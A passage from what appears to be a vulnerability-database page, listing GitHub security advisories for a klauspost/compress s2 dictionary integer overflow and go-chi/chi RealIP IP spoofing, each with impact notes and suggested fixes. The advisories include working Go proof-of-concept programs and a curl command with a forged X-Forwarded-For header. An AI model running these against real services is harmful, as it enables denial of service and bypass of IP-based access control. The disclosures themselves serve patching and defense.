huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate) // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n \"encoding/binary\"\n \"fmt\"\n \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n var dictData []byte\n buf := make([]byte, binary.MaxVarintLen64)\n n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n dictData = append(dictData, buf[:n]...)\n dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n dict := s2.NewDict(dictData)\n // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n src := make([]byte, 64)\n for i := range src { src[i] = byte(i) }\n dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data \u226532 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/",
"id": "GHSA-259r-337f-4rfw",
"modified": "2026-10-20T14:33:33Z",
"published": "2026-10-20T14:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/pull/1163"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/klauspost/compress"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/releases/tag/v1.18.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
}
GHSA-3FXJ-6JH8-HVHX
Vulnerability from github – Published: 2026-06-25 18:21 – Updated: 2026-11-04 03:49
VLAI
Summary
chi Has an IP Spoofing Vulnerability in `middleware.RealIP`
Details
Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
- Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:21:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be \u00271.2.3.4\u0027\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i \u003e= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"id": "GHSA-3fxj-6jh8-hvhx",
"modified": "2026-11-04T03:49:24Z",
"published": "2026-06-25T18:21:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/pull/967"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/commit/3b171578ca44dfd75ca3c5cbddc7b44c600a7b49"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}
GHSA-9G5Q-2W5X-HMXF
Vulnerability from github – Published: 2026-06-25 18:18 – Updated: 2026-06-25 18:18
VLAI
Summary
chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution
Details
Summary
The vulnerability allows the Request.RemoteAddr to be spoofed when determining the request source IP via the X-Forwarded-For header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.
Details
Currently, the RealIP() implementation splits the X-Forwarded-For header by , and uses the first IP.
https://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54
However, relying on the first IP in the X-Forwarded-For header is insecure because it can be manipulated by attackers to falsify the source IP.
Malicious Case:
1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: X-Forwarded-For: <forged-ip>
2. The proxy appends the actual client’s IP and forwards the request: X-Forwarded-For: <forged-ip>,<client-ip>
3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.
Ideally, the implementation should verify IPs starting from the end of the X-Forwarded-For header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.
For example, the labstack/echo web framework processes the X-Forwarded-For header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client's ip.
https://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273
PoC
1. Run the Go application with the following code:
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
// Set handler to print the remote address
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(
w,
fmt.Sprintf("remote addr: %s (want 192.0.2.1)", r.RemoteAddr),
)
})
// Use RealIP middleware
log.Fatal(http.ListenAndServe(":8080", middleware.RealIP(handler)))
}
2. Send a request to the server using curl with a manipulated X-Forwarded-For header:
$ curl localhost:8080 -H 'X-Forwarded-For: 192.0.2.2, 192.0.2.1'
remote addr: 192.0.2.2 (want 192.0.2.1)
Impact
This vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:18:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n \"fmt\"\n \"log\"\n \"net/http\"\n\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n // Set handler to print the remote address\n handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintln(\n w,\n fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n )\n })\n // Use RealIP middleware\n log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
"id": "GHSA-9g5q-2w5x-hmxf",
"modified": "2026-06-25T18:18:56Z",
"published": "2026-06-25T18:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…